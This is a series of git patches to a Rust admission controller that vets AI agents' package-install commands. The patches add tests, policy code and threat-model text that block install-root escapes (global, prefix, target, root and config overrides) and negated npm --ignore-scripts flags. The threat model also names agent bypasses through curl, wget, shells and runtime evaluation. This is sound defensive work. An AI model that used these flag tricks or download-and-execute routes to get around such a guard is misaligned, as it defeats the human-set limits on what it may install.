2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:32:40 +0900 Subject: [PATCH 042/247] test(admission): reject alternate install roots --- .../tests/install_root_contract.rs | 80 +++++++++++++++++++ 1 file changed, 80 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/install_root_contract.rs diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs new file mode 100644 index 00000000..dcc9030d --- /dev/null +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -0,0 +1,80 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +#[test] +fn approved_npm_artifact_cannot_escape_workspace_install_root() { + for alternate_root in ["--global", "-g", "--prefix=/tmp/escape"] { + let (policy, mut intent) = approved_npm_install(); + intent.argv.push(alternate_root.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{alternate_root} must not turn an approved workspace artifact into a global or alternate-root install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{alternate_root} must produce a stable alternate_install_root reason" + ); + } +} + +fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "npm".to_string(), + name: "@cwl/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" + .to_string(), + artifact_argument: "@cwl/example@1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "enterprise-default".to_string(), + policy_revision: "2026-09-02.1".to_string(), + allowed_executables: vec!["npm".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-install-root-0001".to_string(), + actor_id: "agent:codex:test".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "npm".to_string(), + "install".to_string(), + artifact.artifact_argument.clone(), + "--ignore-scripts".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 155335ff027d46110c60616a3889112811121423 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:34:08 +0900 Subject: [PATCH 043/247] feat(admission): classify alternate install roots --- crates/agent-artifact-admission/src/admission.rs | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/admission.rs b/crates/agent-artifact-admission/src/admission.rs index c8ec0419..8d432ca3 100644 --- a/crates/agent-artifact-admission/src/admission.rs +++ b/crates/agent-artifact-admission/src/admission.rs @@ -152,7 +152,8 @@ impl InstallIntent { kind: InstructionSourceKind::LlmsTxt, uri: Some("https://example.invalid/llms.txt".to_string()), content_sha256: Some( - "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb".to_string(), + "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb" + .to_string(), ), }, artifacts: vec![ArtifactCoordinate { @@ -247,6 +248,8 @@ pub enum ReasonCode { ForbiddenCommand, /// The command attempted to introduce an alternate package trust root. AlternateTrustRoot, + /// The command attempted to install outside the executor-selected workspace root. + AlternateInstallRoot, /// The package manager invocation omitted a mandatory hardening flag. MissingSafetyFlag, /// Durable audit evidence could not be persisted before returning a decision. @@ -273,6 +276,7 @@ impl ReasonCode { Self::InvalidSourceUri => "invalid_source_uri", Self::ForbiddenCommand => "forbidden_command", Self::AlternateTrustRoot => "alternate_trust_root", + Self::AlternateInstallRoot => "alternate_install_root", Self::MissingSafetyFlag => "missing_safety_flag", Self::AuditUnavailable => "audit_unavailable", } From 96badfa3d230b72d37b3e01d8a5ec63a63bf067d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:37:11 +0900 Subject: [PATCH 044/247] fix(admission): block alternate install roots --- crates/agent-artifact-admission/src/policy.rs | 49 ++++++++++++++++--- 1 file changed, 43 insertions(+), 6 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index c9d47b3e..e1a6ecfc 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -175,6 +175,9 @@ fn validate_command_path(intent: &InstallIntent, reason_codes: &mut Vec) { @@ -361,15 +364,49 @@ fn requests_alternate_trust_root(arguments: &[String]) -> bool { "-f", ]; arguments.iter().any(|argument| { - FORBIDDEN_FLAGS.iter().any(|flag| { - argument == flag - || argument - .strip_prefix(flag) - .is_some_and(|suffix| suffix.starts_with('=')) - }) + FORBIDDEN_FLAGS + .iter() + .any(|flag| matches_cli_flag(argument, flag)) }) } +fn requests_alternate_install_root(executable: &str, arguments: &[String]) -> bool { + let contains_flag = |flags: &[&str]| { + arguments + .iter() + .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) + }; + + match executable { + "npm" | "pnpm" | "yarn" | "bun" => { + contains_flag(&["-g", "--global", "--prefix"]) + || arguments.iter().any(|argument| argument == "--location=global") + || arguments.windows(2).any(|pair| { + pair[0] == "--location" && pair[1].eq_ignore_ascii_case("global") + }) + } + "pip" | "pip3" => { + contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + } + "uv" => { + arguments.first().is_some_and(|argument| argument == "pip") + && arguments + .get(1) + .is_some_and(|argument| argument == "install") + && contains_flag(&["--user", "--target", "-t", "--root", "--prefix"]) + } + "cargo" => contains_flag(&["--root"]), + _ => false, + } +} + +fn matches_cli_flag(argument: &str, flag: &str) -> bool { + argument == flag + || argument + .strip_prefix(flag) + .is_some_and(|suffix| suffix.starts_with('=')) +} + fn push_reason(reason_codes: &mut Vec, reason: ReasonCode) { if !reason_codes.contains(&reason) { reason_codes.push(reason); From ad049ea55c21ddb7391b44ae089df76860986e89 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:37:52 +0900 Subject: [PATCH 045/247] docs(admission): publish alternate-root denial --- docs/openapi/agent-artifact-admission.openapi.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/docs/openapi/agent-artifact-admission.openapi.yaml b/docs/openapi/agent-artifact-admission.openapi.yaml index 4fb83b2e..4e729e6b 100644 --- a/docs/openapi/agent-artifact-admission.openapi.yaml +++ b/docs/openapi/agent-artifact-admission.openapi.yaml @@ -305,6 +305,7 @@ components: - invalid_source_uri - forbidden_command - alternate_trust_root + - alternate_install_root - missing_safety_flag - audit_unavailable policy_id: From ff68d4fd481af09bd37ab9717d8a3612fd7edb73 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:38:14 +0900 Subject: [PATCH 046/247] docs(admission): record install-root escape threat --- docs/security/agent-artifact-admission-threat-model.md | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/docs/security/agent-artifact-admission-threat-model.md b/docs/security/agent-artifact-admission-threat-model.md index d6bb31d8..95fa6783 100644 --- a/docs/security/agent-artifact-admission-threat-model.md +++ b/docs/security/agent-artifact-admission-threat-model.md @@ -26,6 +26,7 @@ The credential file, policy/configuration file and audit file are local deployme | Unpinned or mutable dependency | Version range, missing digest or changed artifact is admitted | Exact version and SHA-256 are mandatory | `decision=block` | | Registry substitution | Look-alike or alternate registry serves a package with the same name | Exact HTTPS registry identity is part of the approved artifact coordinate | `decision=block` | | Direct download-and-execute | Agent bypasses package policy using curl/wget/shell/runtime evaluation | Structured `argv`; shells, direct downloaders, package executors and runtime inline evaluation remain blocked by invariant | `decision=block` | +| Alternate install-root escape | An otherwise approved package-manager command adds global, user, prefix, target or root flags so writes escape the broker-selected workspace boundary | Reject explicit package-manager install-root overrides before returning `allow`; runtime filesystem isolation remains the execution broker/quarantine responsibility | `decision=block`, reason `alternate_install_root` | | Malformed or missing provenance | Remote instruction source lacks HTTPS or content digest | Strict source-kind validation and SHA-256 requirement | `400` with audited block receipt | | Authentication bypass | Caller omits, duplicates or manipulates the admin token | One bounded visible-ASCII token from the credentials file; constant-time comparison; no environment-variable secret path | `401` | | Oversized request | Memory/CPU pressure or parser bypass using excessive body size | Axum body limit plus bounded configuration | `413`, and the rejection must be audited before response | @@ -39,7 +40,7 @@ The credential file, policy/configuration file and audit file are local deployme A document can legitimately mention `npm install`, a package name, a CVE, or a URL. Those strings are not executable instructions at this boundary. An agent must first construct a structured intent, and the intent must independently satisfy policy. A package with valid Sigstore/SLSA evidence is still not locally authorized unless the reviewed policy allows its exact coordinates. Conversely, an approved coordinate without the required digest or provenance remains blocked. -The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, or transform a blocked command into an allowed one. Any such behavior would convert untrusted input into authority. +The controller must not repair typos, prepend package scopes, infer maintainers, search for a similarly named package, downgrade HTTPS, transform a blocked command into an allowed one, or reinterpret an approved workspace install as permission to write into a global/user/alternate install root. Any such behavior would convert untrusted input into authority or widen the reviewed command capability. ## Operational security invariants @@ -49,10 +50,11 @@ The controller must not repair typos, prepend package scopes, infer maintainers, - Audit records are append-only from this process's point of view. Corruption, write failure or task failure cannot be converted into an allow response. - Policy is immutable for the lifetime of the v0.1 process. Runtime mutation requires a future explicit policy-lifecycle aggregate and authorization contract; it must not be smuggled into the current HTTP adapter. - Domain modules remain independent of Axum, Tokio, filesystem paths, provider SDKs and concrete storage adapters. `ddd_architecture_contract.rs` is the executable fitness gate. +- Package-manager destination overrides are admission capability changes, not ordinary argument detail. The admission kernel rejects explicit alternate-root flags, while the downstream execution broker/quarantine runtime still owns actual filesystem, mount and process isolation. ## Residual risk and future adapters -SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. +SHA-256 equality proves byte identity, not publisher trust. Registry and owner strings in a reviewed policy are local assertions until backed by independently verified provenance. Future Sigstore, TUF and SLSA support should verify external evidence and translate only the verified properties needed by the admission domain. The controller also does not sandbox an allowed installer; the execution broker remains responsible for process isolation, filesystem/network capability limits, least privilege and post-install verification. Rejecting explicit alternate-root flags narrows the command capability but does not substitute for that runtime isolation boundary. ## Primary references From 03ee83463604a1eafb13a69f4d34a5a21daed82d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:39:48 +0900 Subject: [PATCH 047/247] test(admission): cover package-manager root escapes --- .../tests/install_root_contract.rs | 167 +++++++++++++++--- 1 file changed, 147 insertions(+), 20 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index dcc9030d..578d4d31 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -4,43 +4,171 @@ use wardnet_agent_artifact_admission::{ }; #[test] -fn approved_npm_artifact_cannot_escape_workspace_install_root() { - for alternate_root in ["--global", "-g", "--prefix=/tmp/escape"] { - let (policy, mut intent) = approved_npm_install(); - intent.argv.push(alternate_root.to_string()); +fn package_managers_cannot_escape_the_broker_selected_install_root() { + let cases = [ + install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["install", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + ), + install_case( + "pnpm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "-g"], + ), + install_case( + "yarn", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--global"], + ), + install_case( + "bun", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &["add", "@cwl/example@1.2.3", "--ignore-scripts", "--prefix=/tmp/escape"], + ), + install_case( + "pip", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &["install", "cwl-example==1.2.3", "--require-hashes", "--target=/tmp/escape"], + ), + install_case( + "pip3", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &["install", "cwl-example==1.2.3", "--require-hashes", "--user"], + ), + install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &[ + "pip", + "install", + "cwl-example==1.2.3", + "--require-hashes", + "--prefix=/tmp/escape", + ], + ), + install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &["install", "cwl-example@1.2.3", "--locked", "--root=/tmp/escape"], + ), + ]; + for (policy, intent, label) in cases { let decision = admission_decision(&policy, &intent); assert_eq!( decision.decision, DecisionKind::Block, - "{alternate_root} must not turn an approved workspace artifact into a global or alternate-root install" + "{label} must not turn an approved artifact into a global or alternate-root install" ); assert!( decision .reason_codes .iter() .any(|reason| reason.as_str() == "alternate_install_root"), - "{alternate_root} must produce a stable alternate_install_root reason" + "{label} must produce the stable alternate_install_root reason" ); } } -fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { +#[test] +fn npm_location_global_spellings_are_blocked() { + for location_arguments in [ + vec!["--location=global"], + vec!["--location", "GLOBAL"], + ] { + let mut arguments = vec!["install", "@cwl/example@1.2.3", "--ignore-scripts"]; + arguments.extend(location_arguments); + let (policy, intent, label) = install_case( + "npm", + "npm", + "@cwl/example", + "@cwl/example@1.2.3", + "https://registry.npmjs.org", + &arguments, + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{label}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root") + ); + } +} + +#[test] +fn container_pull_is_not_misclassified_as_an_install_root_escape() { + let digest = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; + let artifact_argument = format!("ghcr.io/contextualwisdomlab/example@sha256:{digest}"); + let (policy, intent, _) = install_case( + "docker", + "oci", + "ghcr.io/contextualwisdomlab/example", + &artifact_argument, + "https://ghcr.io", + &["pull", &artifact_argument], + ); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(!decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root")); +} + +fn install_case( + executable: &str, + ecosystem: &str, + name: &str, + artifact_argument: &str, + registry_url: &str, + arguments: &[&str], +) -> (AdmissionPolicy, InstallIntent, String) { let artifact = ArtifactCoordinate { - ecosystem: "npm".to_string(), - name: "@cwl/example".to_string(), + ecosystem: ecosystem.to_string(), + name: name.to_string(), version: "1.2.3".to_string(), - registry_url: "https://registry.npmjs.org".to_string(), + registry_url: registry_url.to_string(), owner: "ContextualWisdomLab".to_string(), sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc" .to_string(), - artifact_argument: "@cwl/example@1.2.3".to_string(), + artifact_argument: artifact_argument.to_string(), }; let policy = AdmissionPolicy { policy_id: "enterprise-default".to_string(), policy_revision: "2026-09-02.1".to_string(), - allowed_executables: vec!["npm".to_string()], + allowed_executables: vec![executable.to_string()], approved_manifests: vec![ApprovedManifest { workspace_id: "ContextualWisdomLab/wardnet".to_string(), sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" @@ -56,17 +184,15 @@ fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { artifact_argument: artifact.artifact_argument.clone(), }], }; + let mut argv = Vec::with_capacity(arguments.len() + 1); + argv.push(executable.to_string()); + argv.extend(arguments.iter().map(|argument| (*argument).to_string())); let intent = InstallIntent { - request_id: "req-install-root-0001".to_string(), + request_id: format!("req-install-root-{executable}"), actor_id: "agent:codex:test".to_string(), workspace_id: "ContextualWisdomLab/wardnet".to_string(), operation: "install".to_string(), - argv: vec![ - "npm".to_string(), - "install".to_string(), - artifact.artifact_argument.clone(), - "--ignore-scripts".to_string(), - ], + argv, manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), source: InstructionSource { @@ -76,5 +202,6 @@ fn approved_npm_install() -> (AdmissionPolicy, InstallIntent) { }, artifacts: vec![artifact], }; - (policy, intent) + let label = format!("{executable} {}", arguments.join(" ")); + (policy, intent, label) } From 9ce6c8f452cc6ead6ae8b94ab4250a89dfc95ea1 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 10:45:39 +0900 Subject: [PATCH 048/247] test(admission): reject uv and Cargo root overrides --- .../tests/install_root_contract.rs | 80 ++++++++++++++----- 1 file changed, 60 insertions(+), 20 deletions(-) diff --git a/crates/agent-artifact-admission/tests/install_root_contract.rs b/crates/agent-artifact-admission/tests/install_root_contract.rs index 578d4d31..a86630fe 100644 --- a/crates/agent-artifact-admission/tests/install_root_contract.rs +++ b/crates/agent-artifact-admission/tests/install_root_contract.rs @@ -79,20 +79,51 @@ fn package_managers_cannot_escape_the_broker_selected_install_root() { ]; for (policy, intent, label) in cases { - let decision = admission_decision(&policy, &intent); + assert_alternate_root_blocked(&policy, &intent, &label); + } +} - assert_eq!( - decision.decision, - DecisionKind::Block, - "{label} must not turn an approved artifact into a global or alternate-root install" +#[test] +fn uv_environment_selection_cannot_escape_the_broker_selected_install_root() { + for extra_arguments in [ + vec!["--system"], + vec!["--python=/tmp/escape/bin/python"], + vec!["--python", "/tmp/escape/bin/python"], + vec!["-p", "/tmp/escape/bin/python"], + ] { + let mut arguments = vec!["pip", "install", "cwl-example==1.2.3", "--require-hashes"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "uv", + "pypi", + "cwl-example", + "cwl-example==1.2.3", + "https://pypi.org/simple", + &arguments, ); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root"), - "{label} must produce the stable alternate_install_root reason" + + assert_alternate_root_blocked(&policy, &intent, &label); + } +} + +#[test] +fn cargo_inline_configuration_cannot_override_install_root() { + for extra_arguments in [ + vec!["--config=install.root='/tmp/escape'"], + vec!["--config", "install.root='/tmp/escape'"], + ] { + let mut arguments = vec!["install", "cwl-example@1.2.3", "--locked"]; + arguments.extend(extra_arguments); + let (policy, intent, label) = install_case( + "cargo", + "cargo", + "cwl-example", + "cwl-example@1.2.3", + "https://crates.io", + &arguments, ); + + assert_alternate_root_blocked(&policy, &intent, &label); } } @@ -113,15 +144,7 @@ fn npm_location_global_spellings_are_blocked() { &arguments, ); - let decision = admission_decision(&policy, &intent); - - assert_eq!(decision.decision, DecisionKind::Block, "{label}"); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "alternate_install_root") - ); + assert_alternate_root_blocked(&policy, &intent, &label); } } @@ -147,6 +170,23 @@ fn container_pull_is_not_misclassified_as_an_install_root_escape() { .any(|reason| reason.as_str() == "alternate_install_root")); } +fn assert_alternate_root_blocked(policy: &AdmissionPolicy, intent: &InstallIntent, label: &str) { + let decision = admission_decision(policy, intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "{label} must not turn an approved artifact into a global or alternate-root install" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "{label} must produce the stable alternate_install_root reason" + ); +} + fn install_case( executable: &str, ecosystem: &str, From f39846f6222f39ea6ba8c8f6892eeddf7d417ff8 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:08:21 +0900 Subject: [PATCH 049/247] test(admission): reject npm safety-flag override --- .../tests/safety_flag_contract.rs | 48 +++++++++++++++++++ 1 file changed, 48 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/safety_flag_contract.rs diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs new file mode 100644 index 00000000..6e0282e7 --- /dev/null +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -0,0 +1,48 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, + admission_decision, +}; + +fn approved_npm_policy() -> AdmissionPolicy { + let mut policy = AdmissionPolicy::deny_all_for_test(); + policy.policy_id = "enterprise-default".to_string(); + policy.policy_revision = "2026-09-02.1".to_string(); + policy.allowed_executables = vec!["npm".to_string()]; + policy.approved_manifests = vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }]; + policy.approved_artifacts = vec![ApprovedArtifact { + ecosystem: "npm".to_string(), + name: "@unowned/example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://registry.npmjs.org".to_string(), + owner: "Unowned".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "@unowned/example@1.2.3".to_string(), + }]; + policy +} + +#[test] +fn npm_boolean_override_cannot_reenable_install_scripts() { + let policy = approved_npm_policy(); + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + "--ignore-scripts=false".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag") + ); +} From e220b49a7eb19c109b9df159816b221c8ef8e6a7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:10:17 +0900 Subject: [PATCH 050/247] fix(admission): reject conflicting script safety flags --- crates/agent-artifact-admission/src/policy.rs | 21 +++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index e1a6ecfc..7e292a98 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -186,9 +186,9 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec !arguments - .iter() - .any(|argument| argument == "--ignore-scripts"), + "npm" | "pnpm" | "yarn" | "bun" => { + !has_unambiguous_boolean_safety_flag(arguments, "--ignore-scripts") + } "pip" | "pip3" => !arguments .iter() .any(|argument| argument == "--require-hashes"), @@ -228,6 +228,19 @@ fn validate_safety_flags(intent: &InstallIntent, reason_codes: &mut Vec bool { + let Some(flag_name) = flag.strip_prefix("--") else { + return false; + }; + let negated = format!("--no-{flag_name}"); + let assigned = format!("{flag}="); + + arguments.iter().any(|argument| argument == flag) + && !arguments + .iter() + .any(|argument| argument == &negated || argument.starts_with(&assigned)) +} + fn artifact_is_approved( artifact: &ArtifactCoordinate, intent: &InstallIntent, @@ -477,4 +490,4 @@ pub fn sha256_hex(input: &[u8]) -> String { let _ = write!(&mut output, "{byte:02x}"); } output -} +} \ No newline at end of file From 0cd8fa5cfc42a454daeefc9162d42ca6c90ae4e9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:10:34 +0900 Subject: [PATCH 051/247] test(admission): cover npm negated safety flag --- .../tests/safety_flag_contract.rs | 38 ++++++++++--------- 1 file changed, 21 insertions(+), 17 deletions(-) diff --git a/crates/agent-artifact-admission/tests/safety_flag_contract.rs b/crates/agent-artifact-admission/tests/safety_flag_contract.rs index 6e0282e7..c4cd1efa 100644 --- a/crates/agent-artifact-admission/tests/safety_flag_contract.rs +++ b/crates/agent-artifact-admission/tests/safety_flag_contract.rs @@ -25,24 +25,28 @@ fn approved_npm_policy() -> AdmissionPolicy { } #[test] -fn npm_boolean_override_cannot_reenable_install_scripts() { +fn npm_boolean_overrides_cannot_reenable_install_scripts() { let policy = approved_npm_policy(); - let mut intent = InstallIntent::unowned_llms_package_for_test(); - intent.argv = vec![ - "npm".to_string(), - "install".to_string(), - "@unowned/example@1.2.3".to_string(), - "--ignore-scripts".to_string(), - "--ignore-scripts=false".to_string(), - ]; - let decision = admission_decision(&policy, &intent); + for conflicting_flag in ["--ignore-scripts=false", "--no-ignore-scripts"] { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "npm".to_string(), + "install".to_string(), + "@unowned/example@1.2.3".to_string(), + "--ignore-scripts".to_string(), + conflicting_flag.to_string(), + ]; - assert_eq!(decision.decision, DecisionKind::Block); - assert!( - decision - .reason_codes - .iter() - .any(|reason| reason.as_str() == "missing_safety_flag") - ); + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block, "{conflicting_flag}"); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_safety_flag"), + "{conflicting_flag}" + ); + } } From 54e882f7d87a42f3d021d3b153fa5126de4337d7 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 2 Sep 2026 11:11:36 +0900 Subject: [PATCH 052/247] docs(admission): trace npm safety-flag precedence --- docs/doctoring/agent-artifact-admission.md | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/docs/doctoring/agent-artifact-admission.md b/docs/doctoring/agent-artifact-admission.md index 184b9086..c4b7c624 100644 --- a/docs/doctoring/agent-artifact-admission.md +++ b/docs/doctoring/agent-artifact-admission.md @@ -1,6 +1,6 @@ # Agent Artifact Admission research and standards traceability -Verified 2026-09-01. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. +Verified 2026-09-02. This note records the primary sources that justify the admission controller's trust boundary. It does not claim certification or conformance beyond the tests and controls present in Wardnet. ## Decision trace @@ -13,6 +13,7 @@ Verified 2026-09-01. This note records the primary sources that justify the admi | Do not infer publisher trust from registry presence | Sigstore verifies signing identity, certificate trust and Rekor inclusion; registry naming alone is not that evidence | exact reviewed owner is a local policy assertion, not an inferred identity | | Audit before returning allow; fail closed on audit outage | SSDF supply-chain controls require protected evidence and traceable release/security practices; append-before-response prevents an unaudited authorization gap | `append_before_response`; `audit_unavailable` => block/503 | | Structured argv; no shell command strings or runtime evaluation | SSDF least-functionality and secure-development principles; removes a command-injection interpretation layer | command-shape invariants in `policy.rs` | +| Require an unambiguous install-script suppression flag | npm documents `ignore-scripts` as a Boolean whose safe state is `true`; npm CLI Boolean options can be explicitly set back to false, so a contradictory argv must not satisfy admission merely because a safe token also appears | `has_unambiguous_boolean_safety_flag`; hostile `--ignore-scripts=false` and `--no-ignore-scripts` regressions | | Loopback-only v0.1 | minimizes exposed trust boundary until authenticated transport is owned by a separate deployment layer | `validate_service_config` and service bind validation | ## Current status of referenced standards @@ -35,12 +36,20 @@ The TUF specification page lists v1.0.33 as latest at verification time. TUF's m Sigstore's verification flow validates an artifact signature, the signing identity bound into the certificate, the certificate chain/trust root, and Rekor transparency-log evidence. That makes it suitable as a future external publisher/integrity authority. Wardnet must not reduce those semantics to a registry-owner string or silently copy Sigstore DTOs into the domain kernel. +### npm command safety + +npm documents `ignore-scripts` as a Boolean configuration with default `false`; when true, lifecycle scripts from package manifests are not executed. Wardnet's admission contract therefore requires the explicit safe token and rejects contradictory Boolean spellings in the same argv rather than attempting to reproduce npm's full precedence parser. This is deliberately fail-closed: the controller proves that the submitted command cannot negate the required safety flag before execution, while the executor and quarantine runtime remain responsible for environment and filesystem isolation. + ## APA 7 references Booth, H., Souppaya, M., Vassilev, A., Ogata, M., Stanley, M., & Scarfone, K. (2024). *Secure software development practices for generative AI and dual-use foundation models: An SSDF community profile (NIST SP 800-218A).* National Institute of Standards and Technology. https://doi.org/10.6028/NIST.SP.800-218A National Institute of Standards and Technology. (2022). *Secure software development framework (SSDF) version 1.1: Recommendations for mitigating the risk of software vulnerabilities (NIST SP 800-218).* https://doi.org/10.6028/NIST.SP.800-218 +National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* https://csrc.nist.gov/Projects/ssdf/publications + +npm, Inc. (2026). *Config: ignore-scripts.* https://docs.npmjs.com/using-npm/config/ + SLSA Community. (2025). *SLSA specification: Version 1.2.* https://slsa.dev/spec/v1.2/ Sigstore. (2026). *Overview.* https://docs.sigstore.dev/ @@ -49,8 +58,6 @@ Sigstore. (2026). *Security model.* https://docs.sigstore.dev/about/security/ The Update Framework. (2026). *Specification.* https://theupdateframework.io/spec/ -National Institute of Standards and Technology. (2026). *Secure Software Development Framework: Publications.* 